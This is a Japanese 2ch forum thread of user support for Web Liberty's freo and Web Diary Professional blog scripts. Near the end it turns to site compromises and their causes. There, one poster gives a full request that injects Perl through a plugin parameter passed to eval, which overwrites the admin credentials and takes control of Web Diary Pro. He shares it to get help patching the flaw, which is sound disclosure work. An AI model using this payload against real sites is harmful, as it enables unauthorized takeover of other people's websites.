【freo】Web Liberty総合２【Web Diary Pro】

**Trackback(774)** · 2011/05/31(火) 08:40:40.65

ブログ機能を備えたイラストサイト向け日記帳
freo、Web Diary Professional 他Web Libertyのスクリプトスレです。

Web Liberty
ttp://www.web-liberty.net/

Web Diary Professional配布元
ttp://www.web-liberty.net/download/diarypro/index.html
サポート掲示板（freo以外のWeb Libertyのスクリプト用）
ttp://www.web-liberty.net/support/index.html

freo配布元
ttp://freo.jp/
freo設置に関するサーバー別トラブルシューティング
ttp://freo.jp/setup/trouble/index.html
freoサポート掲示板
ttp://freo.jp/support/

前スレ
【freo】Web Liberty総合【Web Diary Pro】
http://hibari.2ch.net/test/read.cgi/blog/1290154285/

**Trackback(774)** · 2013/01/10(木) 22:08:42.76

ちなみにこれは試した？
http://freo.jp/setup/trouble/remove.html

**Trackback(774)** · 2013/01/11(金) 11:19:15.88

>>527でなんとかできた　ありがとう

**Trackback(774)** · 2013/01/15(火) 06:25:10.24

Web Diary ProfessionalのレスポンシブWebデザイン対応のスキンってあるかな？

**Trackback(774)** · 2013/01/15(火) 15:01:45.12

バージョン上がるたびにmod_rewriteをtrueにしてセットアップするとエラーになる

**Trackback(774)** · 2013/01/15(火) 16:56:06.60

ずっとmod_rewriteはtrueでやってるけど特に問題ないぞ？
てかなに、いちいちバージョンアップのたびにセットアップしなおしてるの？

**Trackback(774)** · 2013/01/15(火) 23:26:17.05

教えて下さい。
freoで公開で書いてきた記事を
まとめて非公開にする方法ありますか？

**Trackback(774)** · 2013/01/16(水) 00:46:00.46

データベースからエクスポートして全置換
やり方はfreo関係ないからわかんなかったら自分で調べてね

**Trackback(774)** · 2013/01/17(木) 13:33:43.97

メッセージ登録プラグインが
拍手プラグインみたいにフォーム増やせればいいのに…

**Trackback(774)** · 2013/01/17(木) 17:18:58.54

>>533
ありがとう

**Trackback(774)** · 2013/01/26(土) 14:45:34.66

freoのスレあったんだ…
ここ読んだだけで知りたかった事が二つほど解決した。
公式で聞く程でもない気がして迷ってたけど助かったわーありがと。

**Trackback(774)** · 2013/01/26(土) 19:26:14.46

ページアーカイブプラグインで、
特定ID以下のページだけ対象にする事って出来るよね…？
テンプレート編集で、月単位アーカイブを年単位にするのは出来たんだけど
ID指定の書き方がわからない…

**Trackback(774)** · 2013/01/27(日) 11:34:25.77

＜　2　3　4　... ＞こういうページ移動が
標準搭載だったらいいのになあ

**Trackback(774)** · 2013/01/30(水) 14:39:17.11

freoのtiny_mceでリスト表示にするときに<span style="line-height: 2;">が挿入されるようになったんだがなにが原因だろうか
ちなみに読み込ませている外部cssのpにはline-height: 2;が記述されているんだがこれが原因なのかな(以前はこれがあっても問題なかった)

**Trackback(774)** · 2013/03/04(月) 14:54:40.97

凄い初歩的な質問で申し訳ないんだが…
freoのリンクはどうやって増やしたりすれば良いんだろう
設置したは良いものの、管理ページのどこを見てもリンクを弄れそうな箇所が見つからない
サイト確認ではちゃんとリンクの項目もあるんだが…orz
誰か教えてくれたら助かります

**Trackback(774)** · 2013/03/04(月) 15:28:14.28

templates＞utility.htmlを検索してみ

**Trackback(774)** · 2013/03/19(火) 01:37:49.62

ここってWeb Gallery Professionalの質問をしても大丈夫ですか？

**Trackback(774)** · 2013/03/20(水) 22:23:24.67

大丈夫だよ
質問スレじゃないのと、最近過疎ってて使ってる人が少ないから
レスがつきにくいかもしれないけど

**Trackback(774)** · 2013/03/20(水) 22:40:10.37

ありがとうございます。その言葉が嬉しいです

それであのさっそく本題なのですが、この間から「Web Gallery Pro」を使い初めました
環境設定＞ログの表示設定＞作品一覧での表示順＞登録日時の昇順　で一覧ページでは昇順になるのですが、
個別ページに複数枚入れて一括表示にしていると、登録順と逆に表示されるのは仕様なのでしょうか？

例：サムネ　1.jpg 2.jpg 3.jpg　と登録すると　3.jpg 2.jpg 1.jpg　と表示されます

一応公式の過去ログもあさったのですが、作品一覧ページの話で個別ページでそういう風になっているという話もなく、
方法として最新をDLしたら機能する、という話だったので自分とは違うかなと思いました（一応入れ直し、ページの作り直しもしてみました）

**Trackback(774)** · 2013/03/23(土) 23:25:55.73

Web Diary Professionalを設置したんだけど、スマホからブラウザで
管理者ページへ行って新規投稿したら文字化けするんだけど
これは仕方が無いんでしょうか？
スマホから投稿出きると便利だし、
メモ代わりの記事が文字化けしちゃったから、直せるものなら
記事を削除せずに直したいです･･･

**Trackback(774)** · 2013/03/27(水) 23:43:46.67

スマホ使ってないからしらんけど、
文字化けの原因はブラウザ側が文字コードを間違って認識してるから。
スマホ側で正しい文字コードを指示してやるか、
ブログ側の文字コードを修正してやることに。

**Trackback(774)** · 2013/03/29(金) 13:44:48.55

記事内にテキストリンクを貼る場合なんだけど
<a href="http://○○○.com">テキスト</a>　で外部へのリンクは貼ることはできました
でも内部の他の記事へのリンクを貼ったら反映されなかったんだけど、だれか教えてくらはい

**Trackback(774)** · 2013/03/30(土) 00:16:50.06

**Trackback(774)** · 2013/04/13(土) 16:58:37.05

>>547　こんなのみつけたけど関係あるかな？
＞最終ページに他ページヘのリンクを設置したい…という意味でしたら、リンクに「rel="external"」を付けておいてください。
＞<a href="http://www.example.com/"; rel="external">◯◯</a>

**Trackback(774)** · 2013/04/13(土) 22:09:32.21

>>548 >>549
ありがとう。新しい記事をアップしたら直りました
なぜ反映されなかったのかは不明

**Trackback(774)** · 2013/04/19(金) 17:55:49.87

増やせるメールフォームのプラグインきたね

**Trackback(774)** · 2013/04/21(日) 02:09:14.09

商売するわけでもないから増えてもしょうがない。
返信すらする気ない俺には要件を伝える入力フォームだけでいい。

**Trackback(774)** · 2013/04/25(木) 19:36:20.10

552感じ悪いなー
自分は実用的なメールフォーム切望してたから、有り難く使わせてもらうよ。
しかもかなり高機能。
あとIPアドレスがメールに入れば完璧かな…
Smartyで出来たっけ。

**Trackback(774)** · 2013/04/25(木) 19:48:52.27

必要ならフォームの中に書けばいいんだし、それで事足りるじゃろ。
感じ方は人それぞれだから、自分と違う意見があっても当たり前。
感じが悪いなんて人格攻撃するほうがよっぽど感じ悪いわｗ

**Trackback(774)** · 2013/04/26(金) 00:16:30.10

感じ悪いとかじゃなしにどうでもいい無駄レスってだけだろ
そんなことお前のブログにでも書いとけよってやつ

**Trackback(774)** · 2013/05/07(火) 02:39:50.95

utility内にあるpageのリスト、
pageタイトルが表示されるけど、ここをオプションで設定した一行テキストがある場合、そのテキストを表示する事って可能ですか？

長いタイトルでも表示は簡潔なものにしたいのです。

**Trackback(774)** · 2013/05/07(火) 16:59:08.28

オプションで設定した一行テキストがある場合、そのテキストを表示する
一行テキストオプションのIDは「sample」と仮定する

<h3>ページ</h3>
<div class="content">
<ul>

<li><a href="{$freo.core.http_file}/page/{$plugin_page_menu.id}">

{$plugin_page_menu_associates[$plugin_page_menu.id].option.sample}

{$plugin_page_menu.title}

</a></li>

<li>ページが登録されていません。</li>

</ul>
</div>

ここのページメニューのオプション情報を個別に表示するを参考にした
ttp://32877.xii.jp/index.php/view/37

**Trackback(774)** · 2013/05/07(火) 22:17:01.57

>>557
556です。
ヒントだけでも頂ければと思い質問しましたが、しっかりと答えて頂きありがとうございます！
クレクレちゃんと思われるかもと気になりますが…

帰宅後、早速実行してみます。
また、参考になるサイトの紹介、助かります！
ありがとうございました。

**Trackback(774)** · 2013/05/11(土) 00:31:01.84

最近のfreoはレスポンシブでテンプレートが少ないのは嬉しいのですが、デザイン的に厳しい時もあります。
そこでiphoneテンプレートのようにpc表示ボタンを作ろうと思ってます。
今のところ、jqueryを使用し、css切替えでの実現を考えていますが、ほとんど変わらないcssを二つ管理する事になります。
良い方法があれば、お知恵をお貸し下さい。

**Trackback(774)** · 2013/05/28(火) 02:29:00.73

ダレカフレオノアイポンアプリツクッテクレナイカナー

**Trackback(774)** · 2013/05/28(火) 15:10:05.77

アプリにしてなにするんだよ、意味がわからん。

**Trackback(774)** · 2013/06/04(火) 20:44:20.90

Web Memoryを今の技術で作り直してくれたらいいな

**Trackback(774)** · 2013/06/04(火) 21:46:32.09

管理画面のプラグイン一覧のページから、freo本家以外の
プラグイン作者さん家にリンクしてあればいいんだけどな
どこで借りたものか、久しぶり過ぎると忘れてる
プラグイン名称も曖昧なの多いしw

**Trackback(774)** · 2013/06/05(水) 02:36:14.03

>>562　ブックマーク登録プラグイン（だったと思う）を一行日記風に使ってる人みたよ
タグ機能もついてるし面白いなーと思った

**Trackback(774)** · 2013/06/21(金) 00:32:40.19

WebMemoryの設置に一年かかった
やっと使える

**Trackback(774)** · 2013/06/21(金) 03:51:16.88

い、いちねん？

**Trackback(774)** · 2013/07/23(火) NY:AN:NY.AN

freoの最新版に漫画表示プラグインを入れたんだけど、設定が終わって画像も登録して
いざ挿入ボタンを押すとラジオボタンが初期状態に戻るだけで反応が無い…
バージョンが結構進んでたからこの辺でそろそろ一新しようと思ったけど躓いたw

**Trackback(774)** · 2013/07/24(水) NY:AN:NY.AN

Web Gallery Professionalの質問です

各分類のタイトルをHTMLファイルに書き出したページのみ
他のページと違うデザインにすることは可能ですか？

JSファイルに書き出した際のデザイン変更は
js_title.htmlやjs_text.htmlを変えれば出来ると分かったのですが
HTMLファイルに書き出したページのデザイン変更が
どのファイルをいじれば良いのかどうしても分かりません

もし分かる方がおられましたら教えて頂けないでしょうか

**Trackback(774)** · 2013/07/29(月) NY:AN:NY.AN

568ですが自己解決しました！
失礼しました！

**Trackback(774)** · 2013/08/04(日) NY:AN:NY.AN

自己解決した報告のついでに解決策や勘違いしてた点を書けば後進に生かせるのに

**Trackback(774)** · 2013/08/14(水) NY:AN:NY.AN

更新きたー

**Trackback(774)** · 2013/09/09(月) 18:29:38.65

>>567
その後解決しましたか？
同じ症状が出てしまって困ってます

**Trackback(774)** · 2013/09/14(土) 11:32:17.32

WebDiary Proの質問です
慣れていないため、わかりにくい書き方になっていたらすみませｎ

これまでは普通に、
投稿記事を書く→投稿記事画面に表示される
という使い方しかしていませんでした

しかし、ある種の記事だけ、新着時に投稿記事画面に表示せず、
分類一覧からのみアクセスできるようにしたいのです
（具体的に書くと、分類名「業務連絡」の内容が投稿記事部分に毎回反映されると煩雑なので、
必要な人のみ分類一覧から読めるようにしたい）

どうすればいいのか、教えていただけないでしょうか

**Trackback(774)** · 2013/09/16(月) 16:17:21.97

freoで新着ページ一覧で表示させてるところに親のページ名表示させる方法ってありませんか？
これができると整理がしやすくなるんですが

**Trackback(774)** · 2013/09/16(月) 18:39:39.22

新着ページ一覧で親ページのIDは取れるけど親ページのタイトルとるのは難しいな

**Trackback(774)** · 2013/09/19(木) 22:17:18.20

>>575
やっぱりそうですか・・・代わりのやり方を探してみます、ありがとうございます

**Trackback(774)** · 2013/09/20(金) 12:11:49.12

タグひとつで自動にってわけにはいかないけど、オプションで
手動入力するのがいいんでないかい

**Trackback(774)** · 2013/09/28(土) 18:55:31.82

投稿時間と投稿者名は直接いじるしかなく、管理メニューから設定出来ないのかな
消したい

**Trackback(774)** · 2013/09/28(土) 23:48:06.62

テンプレいじれば？

**Trackback(774)** · 2013/10/01(火) 08:24:05.74

俺もWDPやfreoの時間とかいらん部分はテンプレの該当部分消してる
管理ページでできればそりゃ楽だけどまあそれくらいは自分でやろうぜ

**Trackback(774)** · 2013/10/03(木) 04:07:46.93

viwとentryとpageと3箇所変えなきゃいけないのは地味にめんどい
まあ1回変えちゃえばいいんだけどさ

**Trackback(774)** · 2013/10/04(金) 00:29:15.86

管理画面で３箇所設定するのも手間でいったらそんなに変わんないだろ…

**Trackback(774)** · 2013/10/04(金) 06:46:44.44

WDPからfreoにログ移行でフォントサイズやネタバレボタンが効かなくなってしまった
フォントサイズはWDPのCSSをコピペしたら戻った（ついでにmarkitup!でも文字サイズ指定ボタンを作った）
でもネタバレ内に書いた文字の表示がおかしいまま…
うまいことfreo用に書き直す事ができない；；

**Trackback(774)** · 2013/10/20(日) 16:35:05.53

ここのWeb拍手CGIを使ってる方でスクロールバーの色を弄ってる方いますか？
IE8使いなんですがCSSを色々弄ってみてもhtmlページのスクロールバーの色だけ変更されません
Web拍手の中に設置しているテキストエリアのスクロールバーのほうは指定した色が適用されてて
もう何をどうしたらいいやらです

**Trackback(774)** · 2013/10/21(月) 08:36:56.56

IE捨てれば

**Trackback(774)** · 2013/10/22(火) 01:20:59.74

>584
それはDOCTYPE宣言／レンダリングモードの問題でCGIは関係ないと思う。
ページ全体のスクロールバーへの色指定は今やレガシーなので、
新し目のHTMLやブラウザではCSSによる指定を無効にするようになっている。

**Trackback(774)** · 2013/11/26(火) 14:25:12.27

質問です
freoでエントリー書く時のフォームの改行（shift+enter）が面倒だから、
公式に書いてあった方法とか、あとは<br>と<p>の入力反転とか試してみたんだけど、
前者はまったく利かないし（火狐とIEで試した）、後者はIEでしか利かなかった
なんとかしたいんだけどどうすればいいんだろう

**Trackback(774)** · 2013/11/27(水) 11:33:10.59

解決になってないけど、markitup!導入してタグ付与プラグイン使うとか

**Trackback(774)** · 2013/11/27(水) 21:33:56.62

>>588
レスありがとうございます
時間が出来たので試してみたんですが、
タグ付与プラグインということは、記事はコピペで書くこと前提になる感じですかね？

**Trackback(774)** · 2013/11/28(木) 00:00:20.60

>>589
それかテキストだけ先に打って「確認する」で改行タグつけさせてフォームに戻って
画像挿入したり装飾タグ入れるかんじになるかなー
shift+enterの方がラクだと思うｗ

**Trackback(774)** · 2013/11/28(木) 00:11:23.36

>>590
やっぱりそうですよねー
でもshift＋enterだと専ブラショトカ（書き込み）とごっちゃになって、
最近2chで誤爆しがちになってるのでどうにかしたかったんです
ブラウザダウングレードしてもだめだったんですけど、もうちょっとあがいてみます！

**Trackback(774)** · 2013/11/28(木) 00:12:24.23

あああ、言ってる傍から誤爆しました

レスありがとうございました！

**593** · 2013/12/13(金) 10:36:27.05

ここのコメントにある内容ですが、うちもやられてました
http://blog.nemoa.biz/2013/02/04/web-diary-professional%E3%81%AF%E4%BD%BF%E3%82%8F%E3%81%AA%E3%81%84%E6%96%B9%E3%81%8C%E3%81%84%E3%81%84%E3%81%8B%E3%82%82%E3%81%97%E3%82%8C%E3%81%AA%E3%81%84.html
中国からのIPですが、ブルートフォースアタックというよりは非常にスマートに
ファイルをアップロードして通販サイトへのphpページを作ってました
webdiaryを狙い撃ちしてるっぽいです

**593** · 2013/12/13(金) 10:37:45.38

すみませんあげます

mode=adminのページから一発でファイルアップロードしてますので、
パスワードの複雑さなどはたぶん関係ないかと思います

**Trackback(774)** · 2013/12/13(金) 18:41:28.20

804 サイト sage 2013/12/13(金) 14:38:00.43 ID:4223FznmO
>>803
freo使用中なので気になって調べてみたら、作成者さんの回答ツイログ？を見つけた

ttp://refirio.org/twitter/?date=20130419　(13:41～13:53間の記事)
freo使おうか考えている人やWeb Diary Pro使用中の人はこれも参考になるかも

**Trackback(774)** · 2013/12/13(金) 23:34:26.60

Web Diary Proなんですが、スマホから画像を投稿すると、タイトルも本文も文字化けします…
文字だけの投稿なら大丈夫なんですが、何が原因なのか調べてみても見当がつきません
心当たりある方いらっしゃったらご教授下さい

**Trackback(774)** · 2013/12/14(土) 20:12:11.16

>595
＞freoを更新するたびに「freoが更新されたか。まあ、WordPressの方がいいけどね。」
＞なことをTwitterに書いている人だったので、
www

**Trackback(774)** · 2013/12/14(土) 21:13:38.39

>>593
同人板のあのスレは、freo専スレじゃないんで
ここでやりなよ

作者に詳細送って返事来たら晒して
自分のは不審なファイル何もなかったよ

**Trackback(774)** · 2013/12/15(日) 22:33:05.43

freoで過去ログを年単位にしたいんだけど、テンプレいじるだけじゃなんだろうか
年単位に直して使っている人いたら教えていただきたいです

**Trackback(774)** · 2013/12/20(金) 05:45:19.33

WebDiaryProで質問なのですが、ドメイン直下にインストールってどうやればいいんでしょうか。
特殊なサーバでの設置方法でやってみたんですけど、うまくいかないです…。
Software error:

Bad name after file' at lib/webliberty/App/Init.pm line 116.

Software error:

[Fri Dec 20 05:38:00 2013] Init.pm: Bad name after file' at lib/webliberty/App/Init.pm line 116.
Compilation failed in require at lib/webliberty/App.pm line 10.

Software error:

[Fri Dec 20 05:38:00 2013] Init.pm: [Fri Dec 20 05:38:00 2013] Init.pm: Bad name after file' at lib/webliberty/App/Init.pm line 116.
[Fri Dec 20 05:38:00 2013] Init.pm: Compilation failed in require at lib/webliberty/App.pm line 10.
BEGIN failed--compilation aborted at lib/webliberty/App.pm line 10.

Software error:

[Fri Dec 20 05:38:00 2013] App.pm: [Fri Dec 20 05:38:00 2013] Init.pm: [Fri Dec 20 05:38:00 2013] Init.pm: Bad name after file' at lib/webliberty/App/Init.pm line 116.
[Fri Dec 20 05:38:00 2013] App.pm: [Fri Dec 20 05:38:00 2013] Init.pm: Compilation failed in require at lib/webliberty/App.pm line 10.
[Fri Dec 20 05:38:00 2013] App.pm: BEGIN failed--compilation aborted at lib/webliberty/App.pm line 10.
Compilation failed in require at diary.cgi line 13.

Software error:

[Fri Dec 20 05:38:00 2013] App.pm: [Fri Dec 20 05:38:00 2013] App.pm: [Fri Dec 20 05:38:00 2013] Init.pm: [Fri Dec 20 05:38:00 2013] Init.pm: Bad name after file' at lib/webliberty/App/Init.pm line 116.
[Fri Dec 20 05:38:00 2013] App.pm: [Fri Dec 20 05:38:00 2013] App.pm: [Fri Dec 20 05:38:00 2013] Init.pm: Compilation failed in require at lib/webliberty/App.pm line 10.
[Fri Dec 20 05:38:00 2013] App.pm: [Fri Dec 20 05:38:00 2013] App.pm: BEGIN failed--compilation aborted at lib/webliberty/App.pm line 10.
[Fri Dec 20 05:38:00 2013] App.pm: Compilation failed in require at diary.cgi line 13.
BEGIN failed--compilation aborted at diary.cgi line 13.

**Trackback(774)** · 2014/01/16(木) 22:04:49.75

Web Libertyサイトが休止しとる

**Trackback(774)** · 2014/01/18(土) 21:25:36.20

DL出来るようにしたまま休止には出来なかったのかな
掲示板のログとかまだ見ることあったんだけど…
freoにしろってことか

**Trackback(774)** · 2014/01/22(水) 09:30:34.98

うわ、DL出来なくなったこと今知った
Web Memoryのシンプルさが好きだから残念だ
freoだとちょっと機能が豪華すぎるんだよね

**Trackback(774)** · 2014/01/22(水) 10:33:18.85

放置してるバグもあるっておっしゃってたしな

**Trackback(774)** · 2014/01/22(水) 11:03:51.50

おっしゃってましたか

**Trackback(774)** · 2014/01/23(木) 00:45:36.51

freoでいっぱいいっぱいなんじゃないの

wikiできてたん知らんかった

**Trackback(774)** · 2014/01/23(木) 07:29:18.94

警察のサイバーからＷＤＰは古いプログラムで
セキュリティに脆弱性あるから新しいのに換えよと
警告もらった。
確かに今年に入ってハッキングされたが。
お気に入りだけに困った。

**Trackback(774)** · 2014/01/23(木) 14:51:35.47

知り合いも警察から連絡いったって言ってた。
それで配布サイト閉じちゃったのか？

**Trackback(774)** · 2014/01/23(木) 15:02:29.27

質問です。
最近、こちらで作ったって思える、blogを引き継いだのですが、サポートも終わってて、ちんぷんかんぷんなもんで、誰か教えて下さい。

コメント欄が放置年数分スパムメールで埋まってましていて削除を行うと、 Read Error : ./data/paint/と表示されます。

また。編集画面から削除しょうとすると、削除キーを求められて削除出来ません。

誰か助けて下さい！
当方スマホで削除しょうとしましたが、パソコンからじゃないと駄目ですか？

**Trackback(774)** · 2014/01/24(金) 19:35:20.24

>>607
警察ってそんなに世話やいてくれるの？
アオリでなく本気で不思議なんだが

まさか>>597みたいな人が偽メール送ってるとかじゃないよね

**Trackback(774)** · 2014/01/24(金) 21:01:04.22

脆弱性のあるプログラムを使ってるからってそんなメール来たことないけど
マジなの？

**Trackback(774)** · 2014/01/24(金) 22:44:49.49

嘘に決まっとるがな

**Trackback(774)** · 2014/01/24(金) 22:56:00.97

残念ながら事実だ
一件、サブドメインでつかっているところにはドメインサイトの
管理・運用しているところからハッキングされているとの連絡を受け
もう一件はサイト企業の代表者に直接府警からそのような連絡が来た。

事業者登録しているので顧客に説明しに回っていたら
幸か不幸か10件のFreo に移行の仕事が入ってしまった。

**Trackback(774)** · 2014/01/24(金) 23:50:12.32

もし本当なら、何でどこも（上に出てたサイト以外）取り上げてないの？
もし本当なら、作者はなんで何も説明してないの？

**Trackback(774)** · 2014/01/25(土) 00:09:55.55

警察庁サイバー犯罪対策のサイト見てきたんだが何の注意もないね
WDP使ってるサイトをいちいち調べて警告メール出すのってすごく大変だろうし
警察が把握してるのに配布サイトで何の説明もさせてないってのも気になる

ただ自分も使ってるから本当なら困る
サイバーに問い合わせてみようかな

**Trackback(774)** · 2014/01/25(土) 01:01:52.31

前ツイッターか何かで言ってた粘着がうざくなったから公開停止したんじゃないの…

**Trackback(774)** · 2014/01/25(土) 01:35:32.05

つーか末端ユーザに警察から警告とかねーわ

**593** · 2014/01/25(土) 11:19:27.24

メールしました
メンテできてなくて気になってたからこの機会に停止するだそうです

**Trackback(774)** · 2014/01/25(土) 14:00:25.08

保証なし自己責任で再配布してくれないかなあ
ここのブログCGI一番使いやすいんだよね…
freoはもさっとしてて苦手

**593** · 2014/01/25(土) 17:17:27.93

作者さんはあんまり修正する気がないみたいです
1週間以上返事がない

とりあえず自分で見つけてみた

**593** · 2014/01/25(土) 17:24:32.94

やっとこさ再現出来た
プラグインの処理で、クエリをそのままevalしてるところがあって、そこを使えば突破できた

mode=admin&work=new&admin_user=1&admin_pwd=1&plugin=Sample;require webliberty::App::Admin;
${$self}{init}{data_user} %3d 'echo 1 11b0WGZJEBWiw admin|';
my $app_ins %3d new webliberty::App::Admin(${$self}{init}, ${$self}{config}, ${$self}{query});
$app_ins::run;
（途中改行してます）
GETの確認までで、実際のPOSTまでは進んでないが、理屈では通るはず

こんな感じで、最初っからSampleのプラグインが存在するのを利用して、evalルーチンにやりたいことを渡せばOK
admin_user以降のクエリを付加し続ければ、adminとしてその後なんでもできる

なんでevalでrequireなんてしてるのかというと、攻撃者はわざわざ新規記事投稿して、その際のファイルアップロードを利用してファイルを置いてたのよね
俺ならuser.logでも追記しちゃうけど、それをしないでどうみてもブラウザでちまちまファイルアップしてるのよ
アップ記事の確認までちゃんとしてる
それを再現するために、わざわざパスワードを完全無効化できるパラメータにした
evalの部分を見つけるのは早かったが、パスワード無効化のパラメータ作る方に苦労したｗ

ってか、中華がこんなことわざわざやるとも思えないし、もっと別の脆弱性があるんだと思う
誰か手伝ってもらえませんか？
穴を塞ぎたいので

**593** · 2014/01/25(土) 17:30:19.79

あ、echoのところの
1と11b0WGZJEBWiwとadminの区切りはタブね
WDPは\tでsplitしてるので

**607** · 2014/01/25(土) 22:01:56.04

593さん
私のクライアントも新規投稿で悪質なサイトへのさそいが2件、
dataフォルダーには
burberry
gucci
というフォルダーをつくられそのブランドの商品説明HTMLファイルを
おかれていました。
さらに
D3ck9h.php
seoworld.php
という怪しげなファイルが置かれていました。

ＷＤＰはクライアントにも大変使いやすいプログラムで
今後も使い続けたいと思っています。
私はプログラムにはちんぷんかんぷんですが
ないとさん、皆さんに期待しております。

**Trackback(774)** · 2014/01/26(日) 02:42:18.79

警察から警告来た人か
よかったらそのメール？か何か晒してくれ

**Trackback(774)** · 2014/01/26(日) 03:16:23.95

サイト企業の代表者へ電話でした。

**Trackback(774)** · 2014/01/28(火) 02:35:06.09

どうにも信用しにくいな
>>614->>617あたりに同意

**593** · 2014/01/28(火) 09:08:59.23

今回の輩はどうもSEO目的みたいですね
ファイルを置いてリンクを張るのが目的のよう
それ以外のことは特にしてこないからあんまり実害ない

私が分かったのはサーバのログに自分が置いてないファイルが出てたから
実は私と同時期にクライアントのサーバ会社も事態を把握したようだから、
変なアクセスは増えるんだろうけども。

あとはPOPサーバ情報なんかを入れてる人はそれは見られちゃうね